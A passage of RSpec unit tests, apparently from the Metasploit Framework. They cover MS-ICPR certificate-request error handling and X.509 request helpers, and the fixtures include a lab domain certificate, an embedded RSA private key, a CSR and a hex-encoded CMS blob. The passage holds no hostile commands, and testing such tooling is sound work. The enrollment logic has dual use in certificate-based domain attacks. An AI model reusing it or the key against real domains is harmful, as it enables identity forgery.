described_class::MsIcprUnexpectedReplyError, /DCERPC fault/i
)
end
end
context 'when do_request_cert raises a DcerpcError' do
before do
allow(subject).to receive(:do_request_cert).and_raise(
RubySMB::Dcerpc::Error::DcerpcError.new('generic dcerpc failure')
)
end
it 'raises MsIcprUnexpectedReplyError' do
expect { subject.request_certificate }.to raise_error(described_class::MsIcprUnexpectedReplyError)
end
it 'preserves the original error message' do
expect { subject.request_certificate }.to raise_error(
described_class::MsIcprUnexpectedReplyError, /generic dcerpc failure/
)
end
end
end
+606
View File
@@ -0,0 +1,606 @@
require 'rspec'
require 'rex/proto/kerberos/model/pkinit'
require 'rex/proto/x509/request'
RSpec.describe Rex::Proto::X509 do
describe 'module constants' do
it 'defines OID_NTDS_CA_SECURITY_EXT' do
expect(described_class::OID_NTDS_CA_SECURITY_EXT).to eq('1.3.6.1.4.1.311.25.2')
end
it 'defines OID_NTDS_OBJECTSID' do
expect(described_class::OID_NTDS_OBJECTSID).to eq('1.3.6.1.4.1.311.25.2.1')
end
it 'defines OID_NT_PRINCIPAL_NAME' do
expect(described_class::OID_NT_PRINCIPAL_NAME).to eq('1.3.6.1.4.1.311.20.2.3')
end
it 'defines OID_ENROLLMENT_NAME_VALUE_PAIR' do
expect(described_class::OID_ENROLLMENT_NAME_VALUE_PAIR).to eq('1.3.6.1.4.1.311.13.2.1')
end
it 'defines OID_APPLICATION_CERT_POLICIES' do
expect(described_class::OID_APPLICATION_CERT_POLICIES).to eq('1.3.6.1.4.1.311.21.10')
end
it 'defines SAN_URL_PREFIX' do
expect(described_class::SAN_URL_PREFIX).to eq('tag:microsoft.com,2022-09-14:sid:')
end
end
end
RSpec.describe Rex::Proto::X509::Request do
include_context 'Msf::UIDriver'
include_context 'Msf::Simple::Framework#modules loading'
subject do
mod = ::Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:pkcs12_certificate) do
OpenSSL::X509::Certificate.new(<<~CERTIFICATE)
-----BEGIN CERTIFICATE-----
MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF
ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs
YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx
MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk
ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs
ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9
j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg
6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l
l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD
jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx
idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4
MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU
uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk
YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL
ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z
ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq
ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv
MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD
Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw
PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX
hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG
CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH
AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud
EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp
ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB
oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx
MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC
AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx
2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp
rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN
3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL
bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu
bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ
MPqLl/D4OpKpcKz8
-----END CERTIFICATE-----
CERTIFICATE
end
let(:pkcs12_key) do
OpenSSL::PKey::RSA.new(<<~KEY)
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN
Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM
MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI
G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7
3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6
B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9
OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX
pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm
/hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs
5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx
VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h
SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94
MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX
xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5
hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g
m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ
/NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt
NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib
KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M
IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG
2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe
VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+
syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8
aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO
C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA==
-----END RSA PRIVATE KEY-----
KEY
end
let(:x509_csr) do
OpenSSL::X509::Request.new(<<~REQUEST)
-----BEGIN CERTIFICATE REQUEST-----
MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV
kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT
mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU
DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT
uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL
BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3
DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/
gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S
b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD
abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a
x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y
i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg
-----END CERTIFICATE REQUEST-----
REQUEST
end
let(:content_info) do
Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(
"\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \
"\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \
"\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \
"\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \
"\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \
"\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \
"\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \
"\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \
"\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b\x0f\xf8\x14\x55\x92\x3b\x3b\x4d" \
"\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d\x2f\xfe\xbd\x63\x75\x51\x23\x65" \
"\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d\x8f\x22\x52\x30\x22\xd9\x79\xb7" \
"\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00\x29\x8c\x32\x93\x4f\xaf\x6f\xc2" \
"\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c\xae\x6c\xa2\x16\x39\xf8\x23\x0c" \
"\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b\x6e\x0d\x25\x97\x51\x8e\xeb\x0a" \
"\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27\x47\x82\xf8\xab\x41\x36\x4d\xa7" \
"\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60\x6e\xa9\xf5\x03\x87\xb2\xcb\xee" \
"\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41\x77\x7e\x02\x13\xba\xa0\xb7\xfb" \
"\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84\x22\xd8\x67\x5f\x90\x04\x33\xce" \
"\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73\xce\x96\x3a\x2c\x41\xa8\x53\x73" \
"\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \
"\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \
"\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \
"\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \
"\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \
"\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \
"\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \
"\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \
"\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \
"\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \
"\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \
"\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \
"\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \
"\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \
"\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \
"\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \
"\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \
"\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \
"\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \
"\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \
"\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \
"\x31\x15\x30\x13\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05" \
"\x6c\x6f\x63\x61\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c" \
"\x64\x01\x19\x16\x06\x6d\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55" \
"\x04\x03\x13\x0c\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x30\x1e" \
"\x17\x0d\x32\x32\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x17\x0d\x32" \
"\x33\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x30\x7b\x31\x15\x30\x13" \
"\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61" \
"\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16" \
"\x06\x6d\x73\x66\x6c\x61\x62\x31\x0e\x30\x0c\x06\x03\x55\x04\x03\x13\x05" \
"\x55\x73\x65\x72\x73\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x41\x6c" \
"\x69\x63\x65\x20\x4c\x69\x64\x64\x6c\x65\x31\x23\x30\x21\x06\x09\x2a\x86" \
"\x48\x86\xf7\x0d\x01\x09\x01\x16\x14\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d" \
"\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x30\x82\x01\x22\x30\x0d\x06" \
"\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30" \
"\x82\x01\x0a\x02\x82\x01\x01\x00\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19" \
"\x32\xe7\x80\xc2\xb4\xaa\xa7\x26\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b" \
"\x0f\xf8\x14\x55\x92\x3b\x3b\x4d\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d" \
"\x2f\xfe\xbd\x63\x75\x51\x23\x65\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d" \
"\x8f\x22\x52\x30\x22\xd9\x79\xb7\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00" \
"\x29\x8c\x32\x93\x4f\xaf\x6f\xc2\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c" \
"\xae\x6c\xa2\x16\x39\xf8\x23\x0c\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b" \
"\x6e\x0d\x25\x97\x51\x8e\xeb\x0a\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27" \
"\x47\x82\xf8\xab\x41\x36\x4d\xa7\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60" \
"\x6e\xa9\xf5\x03\x87\xb2\xcb\xee\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41" \
"\x77\x7e\x02\x13\xba\xa0\xb7\xfb\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84" \
"\x22\xd8\x67\x5f\x90\x04\x33\xce\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73" \
"\xce\x96\x3a\x2c\x41\xa8\x53\x73\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26" \
"\xe4\xfa\x07\x73\xa0\x43\x37\x2b\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66" \
"\x93\xbb\x12\xea\x36\x7e\x20\x1e\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa3" \
"\x82\x03\x78\x30\x82\x03\x74\x30\x1d\x06\x03\x55\x1d\x0e\x04\x16\x04\x14" \
"\x73\x77\x4b\xc5\xe3\x2e\x39\xba\x18\xec\xc7\x2b\x69\xd9\x1c\xce\x9d\x3b" \
"\x84\x2a\x30\x1f\x06\x03\x55\x1d\x23\x04\x18\x30\x16\x80\x14\xb9\x92\x66" \
"\xb2\x68\xbb\x9b\x46\xd8\x41\x5d\xcb\x16\xb6\xba\x38\xb2\xb1\x78\xd0\x30" \
"\x81\xc6\x06\x03\x55\x1d\x1f\x04\x81\xbe\x30\x81\xbb\x30\x81\xb8\xa0\x81" \
"\xb5\xa0\x81\xb2\x86\x81\xaf\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d" \
"\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x44\x43" \
"\x2c\x43\x4e\x3d\x43\x44\x50\x2c\x43\x4e\x3d\x50\x75\x62\x6c\x69\x63\x25" \
"\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
"\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43\x4e\x3d\x43\x6f\x6e\x66" \
"\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43\x3d\x6d\x73\x66\x6c\x61" \
"\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63\x65\x72\x74\x69\x66\x69" \
"\x63\x61\x74\x65\x52\x65\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4c\x69\x73\x74" \
"\x3f\x62\x61\x73\x65\x3f\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d" \
"\x63\x52\x4c\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x50\x6f\x69" \
"\x6e\x74\x30\x81\xbf\x06\x08\x2b\x06\x01\x05\x05\x07\x01\x01\x04\x81\xb2" \
"\x30\x81\xaf\x30\x81\xac\x06\x08\x2b\x06\x01\x05\x05\x07\x30\x02\x86\x81" \
"\x9f\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d\x6d\x73\x66\x6c\x61\x62" \
"\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x41\x49\x41\x2c\x43\x4e\x3d\x50" \
"\x75\x62\x6c\x69\x63\x25\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76" \
"\x69\x63\x65\x73\x2c\x43\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
"\x4e\x3d\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43" \
"\x3d\x6d\x73\x66\x6c\x61\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63" \
"\x41\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x3f\x62\x61\x73\x65\x3f" \
"\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d\x63\x65\x72\x74\x69\x66" \
"\x69\x63\x61\x74\x69\x6f\x6e\x41\x75\x74\x68\x6f\x72\x69\x74\x79\x30\x0e" \
"\x06\x03\x55\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa0\x30\x3d\x06\x09" \
"\x2b\x06\x01\x04\x01\x82\x37\x15\x07\x04\x30\x30\x2e\x06\x26\x2b\x06\x01" \
"\x04\x01\x82\x37\x15\x08\x81\xf8\xd8\x15\x86\xcf\xbe\x0a\x82\xf5\x9d\x2c" \
"\x81\x9c\xd5\x54\x82\xeb\x94\x4c\x17\x85\xe8\xbe\x77\x86\xdf\xdd\x7e\x02" \
"\x01\x64\x02\x01\x04\x30\x35\x06\x03\x55\x1d\x25\x04\x2e\x30\x2c\x06\x08" \
"\x2b\x06\x01\x05\x05\x07\x03\x04\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a" \
"\x03\x04\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x02\x06\x0a\x2b\x06\x01\x04" \
"\x01\x82\x37\x14\x02\x01\x30\x43\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x15" \
"\x0a\x04\x36\x30\x34\x30\x0a\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x04\x30" \
"\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x04\x30\x0a\x06\x08\x2b" \
"\x06\x01\x05\x05\x07\x03\x02\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37" \
"\x14\x02\x01\x30\x45\x06\x03\x55\x1d\x11\x04\x3e\x30\x3c\xa0\x24\x06\x0a" \
"\x2b\x06\x01\x04\x01\x82\x37\x14\x02\x03\xa0\x16\x0c\x14\x61\x6c\x69\x64" \
"\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x81\x14" \
"\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63" \
"\x61\x6c\x30\x4f\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x04\x42\x30" \
"\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30\x04" \
"\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38\x37\x32" \
"\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33\x36\x31\x38" \
"\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x36\x30\x44\x06\x09\x2a\x86\x48" \
"\x86\xf7\x0d\x01\x09\x0f\x04\x37\x30\x35\x30\x0e\x06\x08\x2a\x86\x48\x86" \
"\xf7\x0d\x03\x02\x02\x02\x00\x80\x30\x0e\x06\x08\x2a\x86\x48\x86\xf7\x0d" \
"\x03\x04\x02\x02\x00\x80\x30\x07\x06\x05\x2b\x0e\x03\x02\x07\x30\x0a\x06" \
"\x08\x2a\x86\x48\x86\xf7\x0d\x03\x07\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7" \
"\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x89\xb2\xb3\xb1\xd8\x61\x9e" \
"\x45\x70\x58\x58\x23\x24\x43\x6c\x4f\x0a\x77\x48\x5c\x2b\xc0\xa3\xf5\x78" \
"\x37\x7c\x58\xb1\x6c\xd8\xa8\xa3\x2f\x5b\x8e\xb9\x4d\x3b\x4a\xcd\xab\x8a" \
"\x3b\x0e\x8a\xd8\x52\x6b\xfa\xe2\x29\xad\x22\x8d\x58\x0f\x98\x05\x61\x54" \
"\xc3\xd9\xb0\x9c\x63\x8a\xb3\x6d\x4b\x25\x0e\x91\x20\xbe\x84\x0c\xa4\xb7" \
"\x51\xd1\xe8\xdc\x08\xe9\xfe\x64\xf1\x86\x5a\xe8\x23\x6a\x14\xb8\xf1\x16" \
"\x09\x27\x0d\xdc\x74\xd1\x28\x48\x90\xc5\x7f\x97\x3d\xee\x80\x34\x08\x65" \
"\x1c\xb0\x41\xac\x4f\x99\x9e\x7d\xed\x5e\xff\xd8\x95\x71\xc4\x4a\x94\x41" \
"\x39\xe5\x6d\x0e\x29\x7c\xb5\x3b\xc4\x11\x8f\x17\xf8\xf9\x8b\x6e\xf1\xd8" \
"\x99\x37\xc2\x75\x0d\xc8\xcf\x01\xba\xbe\x30\x1c\xba\xac\xac\xe2\x7f\x5c" \
"\x5a\xa7\x8d\x60\xb2\x0e\x60\x6a\x6e\x0f\x50\x47\x9e\xab\xc1\xfd\xea\xc2" \
"\x63\xfd\xbc\xf5\x59\x5f\x61\x73\x2e\x6c\x30\x54\x1e\x92\xc1\x4f\x04\xb8" \
"\xbf\xe8\x5d\x58\x1c\x96\x97\x21\x68\xdd\x32\xc2\x35\x88\xb4\x39\xa6\x7f" \
"\xbc\x8d\x67\x9a\x21\x2a\x50\xa6\xcf\x4b\xbd\x0c\xe7\x81\x3e\xa0\x30\xda" \
"\x22\xbc\x10\x30\xfa\x8b\x97\xf0\xf8\x3a\x92\xa9\x70\xac\xfc\x31\x82\x02" \
"\x08\x30\x82\x02\x04\x02\x01\x01\x30\x5d\x30\x46\x31\x15\x30\x13\x06\x0a" \
"\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61\x6c\x31" \
"\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x06\x6d" \
"\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x6d\x73" \
"\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x02\x13\x10\x00\x00\x00\x43\x92" \
"\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00\x43\x30\x0b\x06\x09\x60" \
"\x86\x48\x01\x65\x03\x04\x02\x01\xa0\x81\x81\x30\x4e\x06\x0a\x2b\x06\x01" \
